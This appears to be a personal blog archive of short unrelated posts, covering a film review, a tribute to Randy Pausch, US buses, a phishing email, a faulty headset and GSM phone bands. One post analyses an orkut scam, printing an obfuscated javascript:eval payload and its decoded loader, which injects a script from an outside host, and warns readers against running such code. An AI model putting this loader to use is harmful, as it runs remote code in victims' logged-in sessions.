As you probably know, Firefox 3 has a “feature” to block access to sites that have been reported to be phishing or malware hosts.
Ironically, Mozilla’s own page titled “It’s an attack” has been reported to be an attack site.
Mozilla - Reported Attack Site
Update: I stand corrected. Mozilla’s own page confirms it to be a test page for verifying that it’s Phishing and Malware protection is working correctly.
Venkat Prabhu’s latest venture has all the makings of a superhit blockbuster movie (according to other reviews out there). I had a chance to see Saroja last night at IMC6 in San Jose.
Verdict: A movie about friends who are on the way to see a cricket match, and get lost along the way. They wind up getting punched, kicked, beaten up and shot at. Good suspense, thrills, and cheesy comedy. Overall, a good movie, if a bit slow at times.
More, you say? Click on the link below. Be warned, spoilers follow.
I can’t believe how much they milk his image…
(via Balaji)
I’ve never had the chance to either take one of his classes or even listen to his last lecture live, although I saw it online. If you haven’t seen it, take the time to do so now.
Dr. Pausch was diagnosed with terminal pancreatic cancer in September of 2006, and in August 2007 was told that he had maybe 3 to 6 months left to live. I can immediately think of one of Rajnikanth’s dialogues from Sivaji - “Saagara naal therinji pochu na vaazhara naal naragham aayidum, santhosham thaanga mukiyam”. Most people would wallow in self pity on hearing such news, but not Dr. Pausch. The way he treated this information is close to stunning. He did not wallow in self-pity, but instead put his heart and soul into doing the things that he wanted to do.
Probably the most important lesson that I’ve got from his last lecture is this quote: “The brick walls are there for a reason: they are not there to keep you out, but to give you a chance to show how badly you want something”.
I was lucky enough to see and hear Dr. Pausch again during my commencement ceremony in May, where he delivered an inspirational speech to the class of 2008. One of his most insightful comments was “It is not the things that we do in life that we’ll regret, on our death bed; it is the things that we do not.”
Dr. Pausch, your work has inspired masses of people. Requiscat in Pace.
Kartik was talking about traveling in the big bad city of Mumbai. His post prompted me to write a post about traveling in metropolitan cities in USA.
Basically, the public transportation infrastructure in most cities will make seasoned Chennai/Mumbai travelers cringe in horror. (Well, not really, but I’ve seen more frequent 29C buses in Chennai than a 500 bus out here in Pittsburgh). You really need to have a car to get anywhere important.
Having said that, I must still comment that Pittsburgh has one of the best bus networks across the US. Like the Mumbai trains, the buses here follow a rigid schedule (well, mostly). You can pick up a schedule free of cost from any bus, the University Center on the Carnegie Mellon campus also has a number of bus schedules of all buses that pass in the vicinity of the university. These schedules give daily timings, along with major stop points and a map of the route. You can also go online to the website of the Port Authority of Allegheny County and enter your starting location and destination intersections, and the website will automatically give you a few routes which you can follow, along with the timings.
This year’s new features from Google…
Make sure you book your flight with at least an hour between connections, or you’ll wind up running the four minute mile in one…
As a big time fan of SuperStar Rajnikanth, I’m quite excited to hear about this latest project.
Dr. Gayathri Shrikanth, a renowned ophthalmologist in Chennai, has written a biography of the Superstar titled “The Name is Rajnikanth”. Due to release in Chennai on the 6th of March, it is priced at Rs. 495.
Read the full article here.
I’ll leave this one up to Ferrari…
I received a mail today purported to be from Microsoft updates. The mail was just this:
URGENT: Please intall critical Windows XP/2000/2003/Vista update!
Urgent Install Get critical update (obligatory)
Concerned about privacy? When you check for updates, basic information about your computer, not you, is used to determine which updates your programs need. To learn more, see our privacy statement.
Now, the only link present in the original e-mail was the “Get critical update (obligatory)” one. No link to the privacy statement. No link to a Microsoft Security Advisory, nothing. And that link was to another site designed to look exactly like the Microsoft Update website.
The scary thing is that this kind of e-mail is very effective. Most people who don’t have any clue of what is going on would just click on the button, resulting in an installation that would bring in viruses, Trojans, spyware, malware, etcetera, etcetera, etcetera.
That’s why there are a lot of warnings all over. Don’t click on any link in e-mail messages, even if you believe it to be true.
(Or better yet, use Linux)
Of late, I’ve been getting a lot of scraps in orkut like “Paste this text into your address bar. Don’t worry it’s harmless…”
The latest is a pretty interesting one…
javascript:eval(String.fromCharCode(100, 61, 100, 111, 99, 117, 109, 101, 110, 116, 59, 99, 61, 100, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 100, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 99, 41, 59, 99, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 99, 111, 111, 108, 112, 99, 115, 116, 117, 102, 102, 46, 103, 111, 111, 103, 108, 101, 112, 97, 103, 101, 115, 46, 99, 111, 109, 47, 114, 111, 100, 114, 105, 103, 111, 46, 117, 115, 101, 114, 46, 106, 115, 39, 59, 118, 111, 105, 100, 40, 48, 41))
The eval function of JavaScript takes a string and executes it as if it were JavaScript code. The String.fromCharCode function takes a series of numbers and converts it into their corresponding ASCII characters.
A simple one line C program reveals the string behind the integers (line breaks added for easy understanding):
d=document;
c=d.createElement('script');
d.body.appendChild(c);
c.src='http://coolpcstuff.googlepages.com/rodrigo.user.js';
void(0)
This is a pretty simple bit of code that appends the script located at the address shown above to the current document and executes it. Now, when I tried to get the script at the site, I get the message: This site has been disabled for violations of our Program Policies. .
A quick google search for the script file name yielded that the script simply floods your friends scrapbooks with the same message. Apparently harmless. The key word is apparently.
Now, I have a healthy dose of paranoia. I don’t trust any of these scripts unless I write them myself, or at least examine them myself. Now, I have tried to access some of the scripts directly (which should return the script source code without executing it), but the site gives me a permission denied (reason: hotlinking forbidden). That gives me all the more reason to suspect something is amiss.
I still don’t get it why people jump on scripts like this, when the orkut home page advertises (or at least used to) not to run any script when logged onto orkut. So, I’ll put out a simple security advisory.
Don’t run any script while logged into orkut (or for that matter, any website), no matter what it claims to do. For instance, one malicious script could always steal your personal information, even if you have hidden it from your friends. If a script can read your friends list, it can read anything.
I bought a bluetooth headset for my Nokia phone over a year ago…
The HS-26W was plagued with problems from the day I bought it. A week later the gadget died. Since it was just a week since I bought it, I managed to get it replaced with an identical piece. Two months later, that died.
I took that piece to the Nokia service center on Mount Road. They told me that they could not repair it and would replace it. Fine, I said, but the replacement took another two months to arrive. Two weeks later, the replacement gave up.
Finally, when I went back home last month, I managed to return it and get a refund on the product.
Come on, I can expect one piece to fail, but all the replacement pieces as well???
When I left India, I had to go through Immigration, get a stamp in my passport and all that stuff. When I left the US, I just had to surrender my I-94, and that too at the airline check-in counter.
On my flight home from Brussels to Chennai, I find a safety manual for a Boeing 777-300ER. I was flying in an Airbus A330-200.
As my living in USA series continues, I bring to you the perils of bringing a mobile handset from India.
First of all, a brief background on the technology behind GSM. The simplest way to put it is that your mobile handset is a glorified two-way radio. As you would use a radio to listen to an FM channel on a particular frequency, your mobile phone also listens on a specific frequency (to be precise, a set of frequencies). The GSM standard has allocated 4 bands worldwide, namely the 850 MHz, 900 MHz, 1800 MHz and 1900 MHz bands. All operators in India use the 900 MHz and 1800 MHz bands, while operators in the US use the 850 MHz and 1900 MHz bands. GSM World has some good information regarding the usage of the bands and coverage sorted by operator.
From my perspective, if you are going anywhere on the east coast or in Silicon Valley, you are well off with a decent tri-band phone like the Nokia 6681. Basically, you want to make sure that your phone supports the 1900 MHz band also, since a lot of operators here seem to use that particular band. You are even better off with a quad-band phone. One such phone is the Sony Ericsson W300i.
It is possible to get a phone here. Operators usually bundle a phone free of charge when you buy a plan. Or you can get a phone of your choice, at a discounted rate. The disadvantages that I see with this model are as follows:
I hope this should be enough information for you to make a choice.